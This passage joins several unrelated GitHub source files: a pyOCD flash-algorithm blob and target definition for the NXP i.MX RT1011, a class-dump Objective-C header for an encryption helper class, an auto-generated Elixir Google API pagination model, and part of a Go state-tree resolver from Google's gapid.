0xfdf1f7ff, 0x21086960, 0x28004008, 0x20e4d00f, 0x210f5900, 0x40080609, 0x280e0e00, 0x4854d002, 0xe0039008, 0x1e404852, 0xbf009008, 0x2000e001, 0xbf009008, 0x9808bf00, 0xbdf0b00b, 0xb085b5ff, 0x4616460c, 0x2004461d, 0xbf009004, 0xf7ff9805, 0x4607fc52, 0xd0092f00, 0xd0072e00, 0x19622000, 0x23104140, 0x1a9a2100, 0xd2004181, 0x4638e029, 0xfdb9f7ff, 0x90032000, 0x46389002, 0xfbf5f7ff, 0x900300a0, 0x00801960, 0x98039002, 0x1df80081, 0x30fa30ff, 0x90011808, 0x6831e009, 0x60019801, 0x1c409803, 0x98019003, 0x90011d00, 0x99021d36, 0x42889803, 0x4638d3f1, 0xfbdcf7ff, 0x90042000, 0xbf00bf00, 0xb0099804, 0xb5f0bdf0, 0x4607b08b, 0x4615460c, 0x2004461e, 0xbf00900a, 0xd1002c00, 0x2100e02c, 0x71014668, 0x90042001, 0x90032003, 0x75054668, 0x20479602, 0x28005d00, 0x20ffd00c, 0x5d003089, 0xd0072800, 0x308a20ff, 0x90035d00, 0x308920ff, 0x90045d00, 0x01009803, 0x31804621, 0x21011842, 0x9b044638, 0xff88f7ff, 0x90032001, 0x4638a901, 0xfe49f7ff, 0xbf00900a, 0x980abf00, 0xbdf0b00b, 0x4604b5f8, 0x90002004, 0x4625bf00, 0x4610460e, 0xd0072b00, 0x0fff07df, 0xd1032f00, 0xd0012c00, 0xd1052900, 0x0000e013, 0xfcf0ff00, 0x00001b59, 0x7807e008, 0x1c40702f, 0x78071c6d, 0x1c407037, 0x1e9b1c76, 0xd1f42b00, 0x97002700, 0xbf00bf00, 0xbdf89800, 0xb093b5ff, 0x2004460c, 0xbf009012, 0xd1002c00, 0x2000e0a6, 0x207c900e, 0x27015b01, 0x207e408f, 0x900f5b00, 0x90049816, 0x46692003, 0x20017308, 0x90059006, 0x900aa810, 0x28009815, 0x2008d001, 0x2004e000, 0x4669900b, 0x77089815, 0x5d002047, 0xd00c2800, 0x308520ff, 0x28005d00, 0x20ffd007, 0x5d003086, 0x20ff9005, 0x5d003085, 0x98059006, 0x46210100, 0x18423180, 0x98059b06, 0x90014601, 0xf7ff9813, 0x6f20ff0f, 0xd0012800, 0xe0002001, 0x90022000, 0x6f252600, 0xa903bf00, 0xf7ff9813, 0x9012fdc8, 0x28009812, 0xe057d000, 0x28009815, 0x2308d022, 0xa90caa10, 0xf7ffa80d, 0x980fff77, 0xd00d2800, 0x990d4638, 0x46394388, 0x43919a0c, 0x28004308, 0x2001d001, 0x2000e000, 0xe020900e, 0x4038980d, 0x4039990c, 0x28004308, 0x2001d001, 0x2000e000, 0xe014900e, 0x2800980f, 0x4638d009, 0x43889910, 0xd0012800, 0xe0002001, 0x900e2000, 0x9810e007, 0x28004038, 0x2001d001, 0x2000e000, 0x980e900e, 0xd0162800, 0x28009802, 0x2100d013, 0x40694608, 0x43014070, 0x207dd00a, 0x210000c0, 0xf8f7f7fc, 0x21004630, 0x41881e6d, 0xe0024606, 0x901248fe, 0x980ee002, 0xd19e2800, 0xbf00bf00, 0x9812bf00, 0xbdf0b017, 0xb08ab5f7, 0x4615460c, 0xbf002604, 0xf7ff980a, 0x4607faf2, 0xd0012f00, 0xd1002c00, 0x2001e050, 0x59c00240, 0x0f800580, 0x98099009, 0xd0042800, 0x28027c60, 0x2600d101, 0x2101e042, 0x70014668, 0x7d609501, 0x7d209002, 0x21009003, 0x74014668, 0x30184620, 0x20049005, 0x462b9006, 0x46212200, 0xf7ff980a, 0x9802feb2, 0x46210100, 0x18423180, 0x9b032101, 0xf7ff980a, 0x2001fe61, 0x46699002, 0xf7ff980a, 0x4606fd22, 0xd0002e00, 0x8a60e018, 0xd10d2800, 0x28027c60, 0x7c60d00a, 0xd0072803, 0x2200462b, 0x980a4621, 0xfef6f7ff, 0xe0064606, 0x21648a60, 0x46024348, 0xf7fc2100, 0xbf00f886, 0x4630bf00, 0xbdf0b00d, 0xb083b5f3, 0x2004460c, 0xbf009002, 0xd1002c00, 0x2500e01a, 0x30504620, 0x26009001, 0x9801e010, 0x9001c880, 0xd00a2f00, 0x4621462a, 0xf7ff9803, 0x9002ff83, 0x28009802, 0xe003d000, 0x1c7619ed, 0xd3ec2e04, 0xbf00bf00, 0x9802bf00, 0xbdf0b005, 0xb08cb5f7, 0x4617460c, 0xbf002604, 0xf7ff980c, 0x900bfa66, 0x2800980b, 0x2c00d001, 0xe077d100, 0x46682101, 0x97037201, 0x76012100, 0x90082004, 0xe06a2500, 0x462000a9, 0x18083020, 0x28007840, 0x980bdd61, 0x30ff30ff, 0x68003002, 0x0f800580, 0x98019001, 0xd0052800, 0x301d4620, 0x28025d40, 0xe051d100, 0x462000a9, 0x18083020, 0x90047840, 0x462000a9, 0x5c403020, 0x00a99005, 0x30304620, 0x90071808, 0x2200463b, 0x980c4621, 0xfe11f7ff, 0x2e004606, 0x4630d002, 0xbdf0b00f, 0x01009804, 0x31804621, 0x21011842, 0x980c9b05, 0xfdbaf7ff, 0x90042001, 0x980ca902, 0xfc7bf7ff, 0x2e004606, 0x4630d001, 0x8a60e7e8, 0xd1142800, 0x301d4620, 0x28025d40, 0x4620d00f, 0x5d40301d, 0xd00a2803, 0x2200463b, 0x980c4621, 0xfe4af7ff, 0x2e004606, 0x4630d008, 0x8a60e7d0, 0x43482164, 0x21004602, 0xffd7f7fb, 0xbf00bf00, 0x2d031c6d, 0xbf00d392, 0x4630bf00, 0xb5f3e7c0, 0x460cb083, 0x90022004, 0x2c00bf00, 0xe01ad100, 0x46202500, 0x90013050, 0xe0102600, 0xc8809801, 0x2f009001, 0x462ad00a, 0x98034621, 0xff5cf7ff, 0x98029002, 0xd0002800, 0x19ede003, 0x2e041c76, 0xbf00d3ec, 0xbf00bf00, 0xb0059802, 0xb5f3bdf0, 0x460db083, 0xbf002704, 0xf7ff9803, 0x4604f9b4, 0xd0012c00, 0xd1002d00, 0x7c28e0b5, 0xd1022800, 0x28007f28, 0x2110d00b, 0x40086c28, 0xd1042800, 0xf7ff4628, 0x2800f996, 0x2001d001, 0x2000e000, 0x49499002, 0x42886828, 0xe09cd000, 0xf7fb9803, 0x4629fe9b, 0xf7fb9803, 0x9802ffc1, 0xd0052800, 0x21012200, 0xf7fb9803, 0xe009fe99, 0xf7ff4628, 0x9001f978, 0x5d412046, 0x98039a01, 0xfe8ef7fb, 0xf7fb9803, 0x6820fe77, 0x43882102, 0x46206020, 0xf920f7ff, 0x21026820, 0x60204308, 0x49336826, 0x2045400e, 0x28085d40, 0x0280d101, 0x48304306, 0x7b284306, 0x21300100, 0x43064008, 0x46296026, 0xf7ff9803, 0x68a0fa75, 0x03c92101, 0x60a04388, 0xf7ff4628, 0x2800f928, 0x68a0d004, 0x04c92101, 0x60a04308, 0x46204629, 0xfb5ff7ff, 0x98034629, 0xfacdf7ff, 0x98034629, 0xf946f7ff, 0x21026820, 0x60204388, 0xf7ff4620, 0x7c28f8e5, 0xd0072800, 0x98034629, 0xfe98f7ff, 0x2f004607, 0xe032d000, 0x28007f28, 0x4629d007, 0xf7ff9803, 0x4607ff40, 0xd0002f00, 0x9802e027, 0xd0222800, 0x21026820, 0x60204308, 0xf7ff4628, 0x9001f90c, 0x5d412046, 0x98039a01, 0xfe22f7fb, 0x98034629, 0xfa28f7ff, 0xe0074629, 0x00001b5a, 0x42464346, 0x0000df0f, 0xffff0000, 0xf7ff9803, 0x6820f907, 0x43882102, 0x27006020, 0xbf00bf00, 0xb0054638, 0xb570bdf0, 0xbf004605, 0xf7ff4628, 0x4604f8ee, 0xd1002c00, 0xbf00e007, 0x590020e0, 0x40082102, 0xd0f92800, 0xbf00bf00, 0xb570bd70, 0xbf004605, 0xf7ff4628, 0x4604f8da, 0xd1002c00, 0x4620e003, 0xf882f7ff, 0xbf00bf00, 0xb570bd70, 0x460d4606, 0x4630bf00, 0xf8c9f7ff, 0x2c004604, 0xe010d100, 0xf7ff4620, 0x2d00fa3a, 0x6820d005, 0x02c92101, 0x60204308, 0x6820e004, 0x02c92101, 0x60204388, 0xbf00bf00, 0x0000bd70, 0xb5104770, 0x890048be, 0x00400840, 0x810849bc, 0x890048bc, 0x00400840, 0x810849ba, 0x880048b8, 0x40082104, 0xd0042800, 0x880048b5, 0x49b44388, 0x48b48008, 0x21048800, 0x28004008, 0x48b1d004, 0x43888800, 0x800849af, 0x49b048af, 0x48b06048, 0x46086088, 0x21806800, 0x21204388, 0x49ab4308, 0x48ac6008, 0x07c06900, 0x28000fc0, 0x48a9d005, 0x08406900, 0x49a70040, 0x48a76108, 0x21016940, 0x40080449, 0xd0424288, 0x48a3bf00, 0x40086940, 0xd0002800, 0xbf00e03a, 0xbf00bf00, 0x8f4ff3bf, 0xbf00bf00, 0xbf00bf00, 0xbf00bf00, 0x8f6ff3bf, 0xbf00bf00, 0x2000bf00, 0x61084998, 0xbf00bf00, 0xf3bfbf00, 0xbf008f4f, 0xbf00bf00, 0xbf00bf00, 0xf3bfbf00, 0xbf008f6f, 0xbf00bf00, 0x6940488e, 0x04492101, 0x498c4308, 0xbf006148, 0xbf00bf00, 0x8f4ff3bf, 0xbf00bf00, 0xbf00bf00, 0xbf00bf00, 0x8f6ff3bf, 0xbf00bf00, 0xbf00bf00, 0x4882bf00, 0x21016940, 0x40080409, 0xd0514288, 0x4b7ebf00, 0x460c695b, 0x2b004023, 0xe048d000, 0x4c7a2300, 0x60633480, 0xbf00bf00, 0xf3bfbf00, 0xbf008f4f, 0xbf00bf00, 0x68184623, 0x40034b75, 0xbf000b59, 0x40034b74, 0xbf0008da, 0x4c73014b, 0x07944023, 0x07a40fa4, 0x4c6d4323, 0xbf006223, 0x4613bf00, 0x2b001e52, 0x460bd1f0, 0x2b001e49, 0xbf00d1e8, 0xbf00bf00, 0x8f4ff3bf, 0xbf00bf00, 0x4b62bf00, 0x2401695b, 0x43230424, 0x61634c5f, 0xbf00bf00, 0xf3bfbf00, 0xbf008f4f, 0xbf00bf00, 0xbf00bf00, 0xf3bfbf00, 0xbf008f6f, 0xbf00bf00, 0xbf00bf00, 0xff1ef7ff, 0xb5febd10, 0x6b004858, 0x04092101, 0x28004008, 0x4d56d001, 0x4854e00b, 0x07c06b00, 0x28000fc0, 0x2016d001, 0x2014e000, 0x46054950, 0x484e434d, 0x6a073040, 0x494c484d, 0x69093140, 0xfabaf000, 0x2300463a, 0x90009101, 0xf89af000, 0x48461945, 0x21016900, 0x40080409, 0xd0012800, 0xe00b4e43, 0x69004841, 0x40082102, 0xd0012800, 0xe0002016, 0x493e2014, 0x434e4606, 0x6940483d, 0x06492101, 0x28004008, 0x483ad019, 0x21036980, 0x40080309, 0xd0082800, 0x03092101, 0xd0061a40, 0xd0061a40, 0xd1061a40, 0x4634e006, 0x4c30e006, 0x4c2fe004, 0xbf00e002, 0xbf002400, 0x482de031, 0x21036980, 0x40080489, 0xd0082800, 0x04892101, 0xd0061a40, 0xd0121a40, 0xd11f1a40, 0x462ce01c, 0x4822e01e, 0x6b0030c0, 0x0612223f, 0x0e014010, 0xf0004630, 0x2112f954, 0x46044348, 0x481ee010, 0x223f6800, 0x40100612, 0x46280e01, 0xf947f000, 0x43482112, 0xe0034604, 0xe0014c18, 0xbf002400, 0x4814bf00, 0x22076940, 0x40100292, 0x1c410a80, 0xf0004620, 0x4912f934, 0x60084449, 0x0000bdfe, 0x400b8000, 0x400d0000, 0xd928c520, 0x400bc000, 0x0000ffff, 0xe000e000, 0xe000ed00, 0xe000ef40, 0x0fffe000, 0x00001ff8, 0x00003fe0, 0x400d8000, 0x016e3600, 0x400fc000, 0x400d8100, 0x1dcd6500, 0x0000020c, 0x4605b5fe, 0x460c4610, 0xd0734318, 0x468c46ae, 0x1aad2000, 0x419c4601, 0x4666d367, 0x24012700, 0x1ab6463d, 0xd302419d, 0x463a4613, 0x46652421, 0x042f4676, 0x433e0c36, 0x1ab60c2d, 0xd304419d, 0x041b0c15, 0x0412432b, 0x46653410, 0x062f4676, 0x433e0a36, 0x1ab60a2d, 0xd304419d, 0x021b0e15, 0x0212432b, 0x46653408, 0x072f4676, 0x433e0936, 0x1ab6092d, 0xd304419d, 0x011b0f15, 0x0112432b, 0x46651d24, 0x07af4676, 0x433e08b6, 0x1ab608ad, 0xd304419d, 0x009b0f95, 0x0092432b, 0x46651ca4, 0x07ef4676, 0x433e0876, 0x1ab6086d, 0xd31a419d, 0x415b1892, 0xe0161c64, 0x46761800, 0x41494665, 0x419d1ab7, 0x90009101, 0x4660d309, 0x41981ab1, 0x4684468e, 0x99019800, 0x1c402500, 0x07dd4169, 0x432a0852, 0x1e64085b, 0x4672d5e6, 0xb0034663, 0xe7ffbdf0, 0x46012000, 0x46c046c0, 0x4623462a, 0x0000e7f5, 0x4604b50e, 0x460e4615, 0xf000a012, 0x4620f93b, 0xf938f000, 0xf000a015, 0x4630f935, 0xf932f000, 0xf000a014, 0x466cf92f, 0x72e02000, 0x72a0200a, 0xe007340a, 0x4628210a, 0xf877f000, 0x46053130, 0x70211e64, 0xdcf52d00, 0xf0004620, 0xf000f91b, 0x0000f90f, 0x202a2a2a, 0x65737361, 0x6f697472, 0x6166206e, 0x64656c69, 0x0000203a, 0x6966202c, 0x0020656c, 0x696c202c, 0x0020656e, 0xb5104603, 0x079b430b, 0x2a04d10f, 0xc808d30d, 0x1f12c910, 0xd0f842a3, 0xba21ba18, 0xd9014288, 0xbd102001, 0x43c02000, 0x2a00bd10, 0x07d3d003, 0x1c52d003, 0x2000e007, 0x7803bd10, 0x1c40780c, 0x1b1b1c49, 0x7803d107, 0x1c40780c, 0x1b1b1c49, 0x1e92d101, 0x4618d1f1, 0xe001bd10, 0x1f09c004, 0xd2fb2904, 0xd501078b, 0x1c808002, 0xd00007c9, 0x47707002, 0xd00b2900, 0xd00207c3, 0x1c407002, 0x29021e49, 0x0783d304, 0x8002d502, 0x1e891c80, 0x2200e7e3, 0x2200e7ee, 0x2200e7df, 0x428b0903, 0x0a03d32c, 0xd311428b, 0x469c2300, 0x4603e04e, 0xd43c430b, 0x08432200, 0xd331428b, 0x428b0903, 0x0a03d31c, 0xd301428b, 0xe03f4694, 0x428b09c3, 0x01cbd301, 0x41521ac0, 0x428b0983, 0x018bd301, 0x41521ac0, 0x428b0943, 0x014bd301, 0x41521ac0, 0x428b0903, 0x010bd301, 0x41521ac0, 0x428b08c3, 0x00cbd301, 0x41521ac0, 0x428b0883, 0x008bd301, 0x41521ac0, 0x428b0843, 0x004bd301, 0x41521ac0, 0xd2001a41, 0x41524601, 0x47704610, 0x0fcae05d, 0x4249d000, 0xd3001003, 0x40534240, 0x469c2200, 0x428b0903, 0x0a03d32d, 0xd312428b, 0x018922fc, 0x0a03ba12, 0xd30c428b, 0x11920189, 0xd308428b, 0x11920189, 0xd304428b, 0xd03a0189, 0xe0001192, 0x09c30989, 0xd301428b, 0x1ac001cb, 0x09834152, 0xd301428b, 0x1ac0018b, 0x09434152, 0xd301428b, 0x1ac0014b, 0x09034152, 0xd301428b, 0x1ac0010b, 0x08c34152, 0xd301428b, 0x1ac000cb, 0x08834152, 0xd301428b, 0x1ac0008b, 0xd2d94152, 0x428b0843, 0x004bd301, 0x41521ac0, 0xd2001a41, 0x46634601, 0x105b4152, 0xd3014610, 0x2b004240, 0x4249d500, 0x46634770, 0xd300105b, 0xb5014240, 0x46c02000, 0xbd0246c0, 0x2000b510, 0xf81cf000, 0x46c046c0, 0xf0002001, 0xbd10f811, 0x4604b510, 0x1c64e002, 0xf804f000, 0x28007820, 0xbd10d1f9, 0x4669b508, 0x20037008, 0xbd08beab, 0x20184901, 0xe7febeab, 0x00020026, 0xf000b510, 0xf000f80b, 0xbd10f802, 0xb5104770, 0xd0012800, 0xffeef7ff, 0x0000bd10, 0x2100b510, 0xf000a002, 0x2001f813, 0x0000bd10, 0x41474953, 0x3a545242, 0x6e624120, 0x616d726f, 0x6574206c, 0x6e696d72, 0x6f697461, 0x0000006e, 0x4605b570, 0x200a460c, 0x1c6de000, 0xffc6f7ff, 0xd0062d00, 0x28007828, 0xe002d1f7, 0xf7ff1c64, 0x2c00ffbd, 0x7820d002, 0xd1f72800, 0xf7ff200a, 0xbd70ffb5, 0xb282b5f8, 0x0c04b28b, 0x46100c0d, 0x21004358, 0x435e4626, 0x04360c37, 0x41791980, 0x436e4616, 0x04360c37, 0x41791980, 0x436e4626, 0xbdf81989, 0x4674b430, 0x78251e64, 0x42ab1c64, 0x5d63d304, 0x18e3005b, 0x4718bc30, 0xe7f8461d, 0x08220000, 0x06180816, 0x0612041e, 0x0411060e, 0x0216060c, 0x06180000, 0x060c0416, 0x0312021e, 0x01210216, 0x0116011a, 0x33221100, 0x77665544, 0xbbaa9988, 0xffeeddcc, 0x0818045a, 0x24ff3008, 0x00000000, 0x00000000, 0x0918055a, 0x25ff3108, 0x00000000, 0x00000000, 0x0a18065a, 0x26ff3208, 0x00000000, 0x00000000, 0x2403049f, 0x00000000, 0x00000000, 0x00000000, 0x0760079f, 0x27040b20, 0x00000000, 0x00000000, 0x8760879f, 0xa7048b20, 0x00000000, 0x00000000, 0x0818045a, 0x24ff3008, 0x00000000, 0x00000000, 0x8b20075a, 0x0000a7ff, 0x00000000, 0x00000000, 0x0818045a, 0x24ff3008, 0x00000000, 0x00000000, 0x0a18065a, 0x000026ff, 0x00000000, 0x00000000, 0x0b18075a, 0x000027ff, 0x00000000, 0x00000000, 0x8a18065a, 0x0000a6ff, 0x00000000, 0x00000000, 0x8b20075a, 0x0000a7ff, 0x00000000, 0x00000000, 0x400a0000, 0x00000000, 0x00000001, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x11b3dc40 ], # Relative function addresses 'pc_init': 0x202001bb, 'pc_unInit': 0x202001f7, 'pc_program_page': 0x2020023b, 'pc_erase_sector': 0x20200215, 'pc_eraseAll': 0x202001fd, 'static_base' : 0x20205118, 'begin_stack' : 0x20004000, 'begin_data' : 0x20005000, 'page_size' : 0x00000100, 'analyzer_supported' : False, 'analyzer_address' : 0x00000000, 'page_buffers' : [0x20005000, 0x20005100], # Enable double buffering 'min_program_length' : 0x00000100, } class MIMXRT1011xxxxx(IMXRT): VENDOR = "NXP" # Note: itcm, dtcm, and ocram share a single 128 KB block of RAM that can be configurably # divided between those regions (this is called FlexRAM). Thus, the memory map regions for # each of these RAMs allocate the maximum possible of 128 KB, but that is the maximum and # will not actually be available in all regions simultaneously. MEMORY_MAP = MemoryMap( RamRegion(name="itcm", start=0x00000000, length=0x8000), # 32 KB RomRegion(name="romcp", start=0x00200000, length=0x18000), # 96 KB RamRegion(name="dtcm", start=0x20000000, length=0x8000), # 32 KB RamRegion(name="ocram", start=0x20200000, length=0x10000), # 64 KB FlashRegion(name="flexspi", start=0x60000000, end=0x60ffffff, blocksize=0x1000, is_boot_memory=True, algo=FLASH_ALGO_QUADSPI, page_size=0x100), ) def __init__(self, session): super(MIMXRT1011xxxxx, self).__init__(session, self.MEMORY_MAP) self._svd_location = SVDFile.from_builtin("MIMXRT1011.xml")
{ "pile_set_name": "Github" }
// // Generated by class-dump 3.5 (64 bit) (Debug version compiled Sep 17 2017 16:24:48). // // class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2015 by Steve Nygard. // #import <objc/NSObject.h> @interface QBWupEncrypt : NSObject { } + (id)sharedInstance; - (id)encryptAESKeyWithRSA1024:(id)arg1; - (id)generateAESKey; - (void)removeWupTokenInfo; - (id)getWupTokenInfo; - (void)saveWupToken:(id)arg1; - (id)keyAppendToWupRequestUrl:(id)arg1; - (id)generateEncryptKey:(_Bool)arg1; @end
{ "pile_set_name": "Github" }
# Copyright 2019 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # NOTE: This file is auto generated by the elixir code generator program. # Do not edit this file manually. defmodule GoogleApi.AndroidEnterprise.V1.Model.TokenPagination do @moduledoc """ Pagination information returned by a List operation when token pagination is enabled. List operations that supports paging return only one "page" of results. This protocol buffer message describes the page that has been returned. When using token pagination, clients should use the next/previous token to get another page of the result. The presence or absence of next/previous token indicates whether a next/previous page is available and provides a mean of accessing this page. ListRequest.page_token should be set to either next_page_token or previous_page_token to access another page. ## Attributes * `nextPageToken` (*type:* `String.t`, *default:* `nil`) - Tokens to pass to the standard list field 'page_token'. Whenever available, tokens are preferred over manipulating start_index. * `previousPageToken` (*type:* `String.t`, *default:* `nil`) - """ use GoogleApi.Gax.ModelBase @type t :: %__MODULE__{ :nextPageToken => String.t(), :previousPageToken => String.t() } field(:nextPageToken) field(:previousPageToken) end defimpl Poison.Decoder, for: GoogleApi.AndroidEnterprise.V1.Model.TokenPagination do def decode(value, options) do GoogleApi.AndroidEnterprise.V1.Model.TokenPagination.decode(value, options) end end defimpl Poison.Encoder, for: GoogleApi.AndroidEnterprise.V1.Model.TokenPagination do def encode(value, options) do GoogleApi.Gax.ModelBase.encode(value, options) end end
{ "pile_set_name": "Github" }
// Copyright (C) 2017 Google Inc. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package resolve import ( "context" "fmt" "reflect" "sync" "github.com/google/gapid/core/data/dictionary" "github.com/google/gapid/core/data/id" "github.com/google/gapid/core/math/u64" "github.com/google/gapid/gapis/api" "github.com/google/gapid/gapis/database" "github.com/google/gapid/gapis/memory" "github.com/google/gapid/gapis/service" "github.com/google/gapid/gapis/service/box" "github.com/google/gapid/gapis/service/path" ) // StateTree resolves the specified state tree path. func StateTree(ctx context.Context, c *path.StateTree, r *path.ResolveConfig) (*service.StateTree, error) { id, err := database.Store(ctx, &StateTreeResolvable{ Path: c.State, ArrayGroupSize: c.ArrayGroupSize, Config: r, }) if err != nil { return nil, err } return &service.StateTree{ Root: &path.StateTreeNode{Tree: path.NewID(id)}, }, nil } type stateTree struct { globalState *api.GlobalState state interface{} root *stn api *path.API groupLimit uint64 } // needsSubgrouping returns true if the child count exceeds the group limit and // grouping is desired (groupLimit > 0). func needsSubgrouping(groupLimit, childCount uint64) bool { return groupLimit > 0 && childCount > groupLimit } // subgroupSize returns the maximum number of entries in each subgroup. func subgroupSize(groupLimit, childCount uint64) uint64 { if !needsSubgrouping(groupLimit, childCount) { return 1 } groupSize := uint64(1) for (childCount+groupSize-1)/groupSize > groupLimit { groupSize *= groupLimit } return groupSize } // subgroupCount returns the number of immediate children for a given group, // taking into consideration group limits. func subgroupCount(groupLimit, childCount uint64) uint64 { groupSize := subgroupSize(groupLimit, childCount) return (childCount + groupSize - 1) / groupSize } // subgroupRange returns the start and end indices (s, e) for the i'th immediate // child for the given group. e is one greater than the last index in the // subgroup. func subgroupRange(groupLimit, childCount, i uint64) (s, e uint64) { groupSize := subgroupSize(groupLimit, childCount) s = i * groupSize e = u64.Min(s+groupSize, childCount) return s, e } func deref(v reflect.Value) reflect.Value { for (v.Kind() == reflect.Ptr || v.Kind() == reflect.Interface) && !v.IsNil() { v = v.Elem() } return v } // StateTreeNode resolves the specified command tree node path. func StateTreeNode(ctx context.Context, p *path.StateTreeNode, r *path.ResolveConfig) (*service.StateTreeNode, error) { boxed, err := database.Resolve(ctx, p.Tree.ID()) if err != nil { return nil, err } return stateTreeNode(ctx, boxed.(*stateTree), p) } // StateTreeNodeForPath returns the path to the StateTreeNode representing the // path p. func StateTreeNodeForPath(ctx context.Context, p *path.StateTreeNodeForPath, r *path.ResolveConfig) (*path.StateTreeNode, error) { boxed, err := database.Resolve(ctx, p.Tree.ID()) if err != nil { return nil, err } indices, err := stateTreeNodePath(ctx, boxed.(*stateTree), p.Member.Node()) if err != nil { return nil, err } return &path.StateTreeNode{ Tree: p.Tree, Indices: indices, }, nil } func stateTreeNode(ctx context.Context, tree *stateTree, p *path.StateTreeNode) (*service.StateTreeNode, error) { node := tree.root for i, idx64 := range p.Indices { var err error node, err = node.index(ctx, idx64, tree) switch err := err.(type) { case nil: case errIndexOOB: at := &path.StateTreeNode{Tree: p.Tree, Indices: p.Indices[:i+1]} return nil, errPathOOB(err.idx, "Index", 0, err.count-1, at) default: return nil, err } } return node.service(ctx, tree), nil } func stateTreeNodePath(ctx context.Context, tree *stateTree, p path.Node) ([]uint64, error) { n := tree.root indices := []uint64{} for { ci := n.findByPath(ctx, p, tree) if ci == nil { break } for _, i := range ci { n, indices = n.children[i], append(indices, i) } } return indices, nil } type errIndexOOB struct { idx, count uint64 } func (e errIndexOOB) Error() string { return fmt.Sprintf("index %d out of bounds", e.idx) } type stn struct { mutex sync.Mutex name string value reflect.Value path path.Node consts *path.ConstantSet children []*stn isSubgroup bool subgroupOffset uint64 } func (n *stn) index(ctx context.Context, i uint64, tree *stateTree) (*stn, error) { n.buildChildren(ctx, tree) if count := uint64(len(n.children)); i >= count { return nil, errIndexOOB{i, count} } return n.children[i], nil } func (n *stn) findByPath(ctx context.Context, p path.Node, tree *stateTree) []uint64 { n.buildChildren(ctx, tree) for i, c := range n.children { if path.HasRoot(p, c.path) { return []uint64{uint64(i)} } } for i, c := range n.children { if c.isSubgroup { if ci := c.findByPath(ctx, p, tree); ci != nil { return append([]uint64{uint64(i)}, ci...) } } } return nil } func (n *stn) buildChildren(ctx context.Context, tree *stateTree) { n.mutex.Lock() defer n.mutex.Unlock() if n.children != nil { return } v, t, children := n.value, n.value.Type(), []*stn{} dict := dictionary.From(v.Interface()) switch { case dict != nil: for _, key := range dict.Keys() { children = append(children, &stn{ name: fmt.Sprint(key), value: deref(reflect.ValueOf(dict.Get(key))), path: path.NewMapIndex(key, n.path), }) } case box.IsMemorySlice(t): slice := box.AsMemorySlice(v) count := slice.Count() if needsSubgrouping(tree.groupLimit, count) { for i, c := uint64(0), subgroupCount(tree.groupLimit, count); i < c; i++ { s, e := subgroupRange(tree.groupLimit, count, i) children = append(children, &stn{ name: fmt.Sprintf("[%d - %d]", n.subgroupOffset+s, n.subgroupOffset+e-1), value: reflect.ValueOf(slice.ISlice(s, e)), path: path.NewSlice(s, e-1, n.path), isSubgroup: true, subgroupOffset: n.subgroupOffset + s, }) } } else { slice := slice.ISlice(0, count) els, err := memory.LoadSlice(ctx, slice, tree.globalState.Memory, tree.globalState.MemoryLayout) if err != nil { panic(err) } arr := reflect.ValueOf(els) for i := uint64(0); i < count; i++ { el := arr.Index(int(i)) children = append(children, &stn{ name: fmt.Sprint(n.subgroupOffset + i), value: el, path: path.NewArrayIndex(i, n.path), }) } } default: switch v.Kind() { case reflect.Slice, reflect.Array: size := uint64(v.Len()) if needsSubgrouping(tree.groupLimit, size) { for i, c := uint64(0), subgroupCount(tree.groupLimit, size); i < c; i++ { s, e := subgroupRange(tree.groupLimit, size, i) children = append(children, &stn{ name: fmt.Sprintf("[%d - %d]", n.subgroupOffset+s, n.subgroupOffset+e-1), value: v.Slice(int(s), int(e)), path: path.NewSlice(s, e-1, n.path), isSubgroup: true, subgroupOffset: n.subgroupOffset + s, }) } } else { for i := uint64(0); i < size; i++ { children = append(children, &stn{ name: fmt.Sprint(n.subgroupOffset + i), value: deref(v.Index(int(i))), path: path.NewArrayIndex(i, n.path), }) } } default: if isNil(v) { break } pp, ok := v.Interface().(api.PropertyProvider) if !ok { break } for _, p := range pp.Properties() { var consts *path.ConstantSet if p.Constants >= 0 { consts = tree.api.ConstantSet(p.Constants) } children = append(children, &stn{ name: p.Name, value: deref(reflect.ValueOf(p.Get())), path: path.NewField(p.Name, n.path), consts: consts, }) } } } n.children = children } // isNil returns true 